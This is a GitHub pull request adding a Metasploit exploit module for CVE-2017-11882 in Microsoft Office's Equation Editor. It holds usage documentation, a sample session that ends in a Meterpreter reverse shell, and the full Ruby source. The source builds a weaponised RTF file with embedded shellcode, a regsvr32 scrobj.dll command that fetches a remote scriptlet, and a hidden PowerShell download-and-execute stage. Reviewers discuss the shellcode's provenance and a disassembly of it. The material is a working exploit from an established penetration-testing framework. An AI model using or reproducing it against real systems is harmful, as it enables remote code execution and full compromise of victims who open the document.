Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

CVE-2017-11882 Microsoft Office Memory Corruption #9226

Merged
merged 12 commits into from Dec 5, 2017
Merged
Show file tree
Hide file tree
Changes from 8 commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Original file line number Diff line number Diff line change
@@ -0,0 +1,56 @@
Office products within the last 17 years allow an attacker to execute arbitrary commands through memory corruption in Office documents. This occurs in how MS office fails to properly handle OLE objects in memory. Requires an victim
to open an MS `.rtf` file. In addition for the payload to be executed, the user must not open as read-only. Otherwise requires no interaction beyond that from the user.

## Vulnerable Application

- Microsoft Office 2016
- Microsoft Office 2013 Service Pack 1
- Microsoft Office 2010 Service Pack 2
- Microsoft Office 2007

## Verification Steps

1. Start msfconsole
2. Do: `use exploit/windows/fileformat/office_ms17_11882`
3. Do: `set PAYLOAD [PAYLOAD]`
4. Do: `run`

## Options
### FILENAME
Filename to output, and location to which should be written.


## Example

```
msf > use exploit/windows/fileformat/office_ms17_11882
msf exploit(office_ms17_11882) > set FILENAME /home/mumbai/file.rtf
FILENAME => /home/mumbai/file.rtf
msf exploit(office_ms17_11882) > set LHOST ens3
LHOST => ens3
msf exploit(office_ms17_11882) > set LPORT 35116
LPORT => 35116
msf exploit(office_ms17_11882) > run
[*] Exploit running as background job 0.

[*] Started reverse TCP handler on 192.168.0.11:35116
msf exploit(office_ms17_11882) > [*] Using URL: http://0.0.0.0:8080/e08qBLfVxgaJZPo
[*] Local IP: http://192.168.0.11:8080/e08qBLfVxgaJZPo
[*] Server started.
[*] 192.168.0.24 office_ms17_11882 - Handling initial request from 192.168.0.24
[*] 192.168.0.24 office_ms17_11882 - Stage two requestd, sending
[*] Sending stage (205379 bytes) to 192.168.0.24
[*] Meterpreter session 1 opened (192.168.0.11:35116 -> 192.168.0.24:52217) at 2017-11-21 14:41:59 -0500
sessions -i 1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer : TEST-PC
OS : Windows 7 (Build 7601, Service Pack 1).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 1
Meterpreter : x64/windows
meterpreter >
```
258 changes: 258 additions & 0 deletions modules/exploits/windows/fileformat/office_ms17_11882.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,258 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ManualRanking

include Msf::Exploit::Remote::HttpServer
include Msf::Exploit::Powershell
include Msf::Exploit::EXE
include Msf::Exploit::FILEFORMAT


def initialize(info = {})
super(update_info(info,
'Name' => 'Microsoft Office CVE-2017-11882',
'Description' => %q{
Module exploits a flaw in the Equation Editor, developed
in 2000, that allowed any OLE object to execute in a separate
address space. Compared to original PoC, allows for a command within
a length of 109 bytes to be executed Affects Microsoft Office word for the latest
17 years.
},
'Author' => ['mumbai', 'embedi', 'BlackMathIT'],
'License' => MSF_LICENSE,
'DisclosureDate' => 'Nov 15 2017',
'References' => [
['URL', 'https://embedi.com/blog/skeleton-closet-ms-office-vulnerability-you-didnt-know-about'],
['URL', 'https://github.com/embedi/CVE-2017-11882'],
['URL', 'https://github.com/BlackMathIT/2017-11882_Generator/blob/master/2017-11882_Generator.py']
],
'Platform' => 'win',
'Arch' => [ARCH_X86, ARCH_X64],
'Targets' => [
['Microsoft Office Word', {} ],
],
'DefaultTarget' => 0,
'Payload' => {
'DisableNops' => true
},
'Stance' => Msf::Exploit::Stance::Aggressive,
'DefaultOptions' => {
'EXITFUNC' => 'thread',
'PAYLOAD' => 'windows/meterpreter/reverse_tcp'
}
))

register_options([
OptString.new("FILENAME", [true, "Filename to save as", "msf.rtf"])
])
end



def generate_rtf
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Could this be extracted into something like lib/msf/core/exploit/rtf.rb and take a parameter payload or uri?

This would make malicious rtf file generation reusable and possibly allow for a utility to expand and offer "injection" into existing rtf files.

Copy link
Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Yeah, I believe this would be easily possible. Should I put this into that directory, with that name and PR it, with a "command" parameter? @jmartin-r7

Copy link
Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

If thats what you're implying, unless im misunderstanding :D

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

@realoriginal, I would suggest just refactor this code in a new commit added here, and extract this method into a similar utility as other files in the lib/msf/core/exploit path.

Copy link
Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This still required, since I've now just put an injection style into the module or? @jmartin-r7 all good if so

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Not required from my view just a preferred item. The injection style you used is specific to how this module functions with payload being something of a web delivery. We can open an issue to request refactor into of utility for rtf or maybe really in this case OLE separately. I since @wwebb-r7 has assigned this PR I will defer to him.

header = '{\rtf1\ansi\ansicpg1252\deff0\nouicompat\deflang1033{\fonttbl{\f0\fnil\fcharset0 Calibri;}}' + "\n"
header << '{\*\generator Riched20 6.3.9600}\viewkind4\uc1' + "\n"
header << '\pard\sa200\sl276\slmult1\f0\fs22\lang9{\object\objemb\objupdate{\*\objclass Equation.3}\objw380\objh260{\*\objdata '
header << '01050000020000000b0000004571756174696f6e2e33000000000000000000000'
header << 'c0000d0cf11e0a1b11ae1000000000000000000000000000000003e000300feff'
header << '09000600000000000000000000000100000001000000000000000010000002000'
header << '00001000000feffffff0000000000000000ffffffffffffffffffffffffffffff'
header << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
header << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
header << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
header << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
header << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
header << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
header << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
header << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
header << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
header << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
header << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
header << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
header << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffdffffff040'
header << '00000fefffffffefffffffeffffffffffffffffffffffffffffffffffffffffff'
header << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
header << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
header << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
header << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
header << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
header << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
header << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
header << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
header << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
header << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
header << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
header << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
header << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
header << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
header << 'ffffffffffffffffffffffffffffffffffffff52006f006f007400200045006e0'
header << '07400720079000000000000000000000000000000000000000000000000000000'
header << '00000000000000000000000000000000000016000500ffffffffffffffff02000'
header << '00002ce020000000000c0000000000000460000000000000000000000008020ce'
header << 'a5613cd30103000000000200000000000001004f006c006500000000000000000'
header << '00000000000000000000000000000000000000000000000000000000000000000'
header << '000000000000000000000000000000000a000201ffffffffffffffffffffffff0'
header << '00000000000000000000000000000000000000000000000000000000000000000'
header << '000000000000001400000000000000010043006f006d0070004f0062006a00000'
header << '00000000000000000000000000000000000000000000000000000000000000000'
header << '0000000000000000000000000000120002010100000003000000ffffffff00000'
header << '00000000000000000000000000000000000000000000000000000000000000000'
header << '0001000000660000000000000003004f0062006a0049006e0066006f000000000'
header << '00000000000000000000000000000000000000000000000000000000000000000'
header << '00000000000000000000000012000201ffffffff04000000ffffffff000000000'
header << '00000000000000000000000000000000000000000000000000000000000000003'
header << '0000000600000000000000feffffff02000000fefffffffeffffff05000000060'
header << '0000007000000feffffffffffffffffffffffffffffffffffffffffffffffffff'
header << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
header << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
header << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
header << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
header << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
header << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
header << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
header << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
header << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
header << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
header << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
header << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
header << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
header << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
header << 'ffffff01000002080000000000000000000000000000000000000000000000000'
header << '00000000000000000000000000000000000000000000000000000000000000000'
header << '00000100feff030a0000ffffffff02ce020000000000c00000000000004617000'
header << '0004d6963726f736f6674204571756174696f6e20332e30000c00000044532045'
header << '71756174696f6e000b0000004571756174696f6e2e3300f439b27100000000000'
header << '00000000000000000000000000000000000000000000000000000000000000000'
header << "00000300040000000000000000000000000000000000000000000000000000000"
header << "000000000000000000000000000000000000000000000000000000000000000\n"


shellcode = "\x1c\x00\x00\x00\x02\x00\x9e\xc4\xa9\x00\x00\x00\x00\x00\x00\x00"
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

We'll need some documentation or provenance on the shellcode. Either one large block comment or traditional side comments of each instruction. If you reused someone else's and they happen to have that, you can link it and we may be able to push this through and do it afterwards.

Copy link
Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

No problem, I did use someone elses, and ...Ill go find it :)

Copy link
Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Disassembly of the shellcode

    0:   1c 00                   sbb    al,0x0
    2:   00 00                   add    BYTE PTR [eax],al
    4:   02 00                   add    al,BYTE PTR [eax]
    6:   9e                      sahf
    7:   c4 a9 00 00 00 00       les    ebp,FWORD PTR [ecx+0x0]
    d:   00 00                   add    BYTE PTR [eax],al
    f:   00 c8                   add    al,cl
   11:   a7                      cmps   DWORD PTR ds:[esi],DWORD PTR es:[edi]
   12:   5c                      pop    esp
   13:   00 c4                   add    ah,al
   15:   ee                      out    dx,al
   16:   5b                      pop    ebx
   17:   00 00                   add    BYTE PTR [eax],al
   19:   00 00                   add    BYTE PTR [eax],al
   1b:   00 03                   add    BYTE PTR [ebx],al
   1d:   01 01                   add    DWORD PTR [ecx],eax
   1f:   03 0a                   add    ecx,DWORD PTR [edx]
   21:   0a 01                   or     al,BYTE PTR [ecx]
   23:   08 5a 5a                or     BYTE PTR [edx+0x5a],bl
   26:   b8 44 eb 71 12          mov    eax,0x1271eb44
   2b:   ba 78 56 34 12          mov    edx,0x12345678
   30:   31 d0                   xor    eax,edx
   32:   8b 08                   mov    ecx,DWORD PTR [eax]
   34:   8b 09                   mov    ecx,DWORD PTR [ecx]
   36:   8b 09                   mov    ecx,DWORD PTR [ecx]
   38:   66 83 c1 3c             add    cx,0x3c
   3c:   31 db                   xor    ebx,ebx
   3e:   53                      push   ebx
   3f:   51                      push   ecx
   40:   be 64 3e 72 12          mov    esi,0x12723e64
   45:   31 d6                   xor    esi,edx
   47:   ff 16                   call   DWORD PTR [esi]
   49:   53                      push   ebx
   4a:   66 83 ee 4c             sub    si,0x4c
   4e:   ff 10                   call   DWORD PTR [eax]
   50:   90                      nop
   51:   90                      nop

Copy link
Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I'll put it next to it

shellcode << "\xc8\xa7\\\x00\xc4\xee[\x00\x00\x00\x00\x00\x03\x01\x01\x03\n\n\x01\x08ZZ"
shellcode << "\xB8\x44\xEB\x71\x12\xBA\x78\x56\x34\x12\x31\xD0\x8B\x08\x8B\x09\x8B\x09"
shellcode << "\x66\x83\xC1\x3C\x31\xDB\x53\x51\xBE\x64\x3E\x72\x12\x31\xD6\xFF\x16\x53"
shellcode << "\x66\x83\xEE\x4C\xFF\x10\x90\x90"

footer = '0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000'
footer << '4500710075006100740069006F006E0020004E006100740069007600650000000'
footer << '00000000000000000000000000000000000000000000000000000'
footer << '000000000020000200FFFFFFFFFFFFFFFFFFFFFFFF00000000000'
footer << '00000000000000000000000000000000000000000000000000000000000000400'
footer << '0000C5000000000000000000000000000000000000000000000000'
footer << '0000000000000000000000000000000000000000000000000000000000000000'
footer << '00000000000000000000000000000000000000FFFFFFFFFFFFFFFFFFFFFFFF00'
footer << '000000000000000000000000000000000000000000000000000000'
footer << '0000000000000000000000000000000000000000000000000000000000000000'
footer << '000000000000000000000000000000000000000000000000000000'
footer << '0000000000000000000000000000000000000000000000000000000000FFFFFF'
footer << 'FFFFFFFFFFFFFFFFFF000000000000000000000000000000000000'
footer << '00000000000000000000000000000000000000000000000000000000000000000'
footer << '00000000000000000000000000000000000000000000000000000'
footer << '00000000000000000000000000000000000000000000000000000000000000000'
footer << '0000000000000FFFFFFFFFFFFFFFFFFFFFFFF0000000000000000'
footer << '00000000000000000000000000000000000000000000000000000000000000000'
footer << '00000000000000001050000050000000D0000004D45544146494C'
footer << '4550494354003421000035FEFFFF9201000008003421CB010000010009000003C'
footer << '500000002001C0000000000050000000902000000000500000002'
footer << '0101000000050000000102FFFFFF00050000002E0118000000050000000B0200000000050000000C02A001201E1200000026060F001A00FFFFFFFF'
footer << '000010000000C0FFFFFFC6FFFFFFE01D0000660100000B00000026060F000C004D61746854797065000020001C000000FB0280FE00000000000090'
footer << '01000000000402001054696D6573204E657720526F6D616E00FEFFFFFF6B2C0A0700000A0000000000040000002D0100000C000000320A60019016'
footer << '0A000000313131313131313131310C000000320A6001100F0A000000313131313131313131310C000000320A600190070A00000031313131313131'
footer << '3131310C000000320A600110000A000000313131313131313131310A00000026060F000A00FFFFFFFF0100000000001C000000FB02100007000000'
footer << '0000BC02000000000102022253797374656D000048008A0100000A000600000048008A01FFFFFFFF7CEF1800040000002D01010004000000F00100'
footer << '00030000000000' + "\n"
footer << '}{\result{\pict{\*\picprop}\wmetafile8\picw380\pich260\picwgoal380\pichgoal260' + "\n"
footer << "0100090000039e00000002001c0000000000050000000902000000000500000002010100000005\n"
footer << "0000000102ffffff00050000002e0118000000050000000b0200000000050000000c02a0016002\n"
footer << "1200000026060f001a00ffffffff000010000000c0ffffffc6ffffff20020000660100000b0000\n"
footer << "0026060f000c004d61746854797065000020001c000000fb0280fe000000000000900100000000\n"
footer << "0402001054696d6573204e657720526f6d616e00feffffff5f2d0a6500000a0000000000040000\n"
footer << "002d01000009000000320a6001100003000000313131000a00000026060f000a00ffffffff0100\n"
footer << "000000001c000000fb021000070000000000bc02000000000102022253797374656d000048008a\n"
footer << "0100000a000600000048008a01ffffffff6ce21800040000002d01010004000000f00100000300\n"
footer << "00000000\n"
footer << "}}}\n"
footer << '\par}' + "\n"


payload = shellcode
payload += [0x00402114].pack("V")
payload += "\x00" * 2
payload += "regsvr32 /s /n /u /i:#{get_uri}.sct scrobj.dll"
payload = (payload + ("\x00" * (197 - payload.length))).unpack('H*').first
payload = header + payload + footer
payload
end



def gen_psh(url, *method)
ignore_cert = Rex::Powershell::PshMethods.ignore_ssl_certificate if ssl

if method.include? 'string'
download_string = datastore['PSH-Proxy'] ? (Rex::Powershell::PshMethods.proxy_aware_download_and_exec_string(url)) : (Rex::Powershell::PshMethods.download_and_exec_string(url))
else
# Random filename to use, if there isn't anything set
random = "#{rand_text_alphanumeric 8}.exe"
# Set filename (Use random filename if empty)
filename = datastore['BinaryEXE-FILENAME'].blank? ? random : datastore['BinaryEXE-FILENAME']

# Set path (Use %TEMP% if empty)
path = datastore['BinaryEXE-PATH'].blank? ? "$env:temp" : %Q('#{datastore['BinaryEXE-PATH']}')

# Join Path and Filename
file = %Q(echo (#{path}+'\\#{filename}'))

# Generate download PowerShell command
download_string = Rex::Powershell::PshMethods.download_run(url, file)
end

download_and_run = "#{ignore_cert}#{download_string}"

# Generate main PowerShell command
return generate_psh_command_line(noprofile: true, windowstyle: 'hidden', command: download_and_run)
end

def on_request_uri(cli, _request)
if _request.raw_uri =~ /\.sct$/
print_status("Handling request for .sct from #{cli.peerhost}")
payload = gen_psh("#{get_uri}", "string")
data = gen_sct_file(payload)
send_response(cli, data, 'Content-Type' => 'text/plain')
else
print_status("Delivering payload to #{cli.peerhost}...")
p = regenerate_payload(cli)
data = cmd_psh_payload(p.encoded,
payload_instance.arch.first,
remove_comspec: true,
exec_in_place: true
)
send_response(cli, data, 'Content-Type' => 'application/octet-stream')
end
end


def rand_class_id
"#{Rex::Text.rand_text_hex 8}-#{Rex::Text.rand_text_hex 4}-#{Rex::Text.rand_text_hex 4}-#{Rex::Text.rand_text_hex 4}-#{Rex::Text.rand_text_hex 12}"
end


def gen_sct_file(command)
# If the provided command is empty, a correctly formatted response is still needed (otherwise the system raises an error).
if command == ''
return %{<?XML version="1.0"?><scriptlet><registration progid="#{Rex::Text.rand_text_alphanumeric 8}" classid="{#{rand_class_id}}"></registration></scriptlet>}
# If a command is provided, tell the target system to execute it.
else
return %{<?XML version="1.0"?><scriptlet><registration progid="#{Rex::Text.rand_text_alphanumeric 8}" classid="{#{rand_class_id}}"><script><![CDATA[ var r = new ActiveXObject("WScript.Shell").Run("#{command}",0);]]></script></registration></scriptlet>}
end
end


def primer
file_create(generate_rtf)
end
end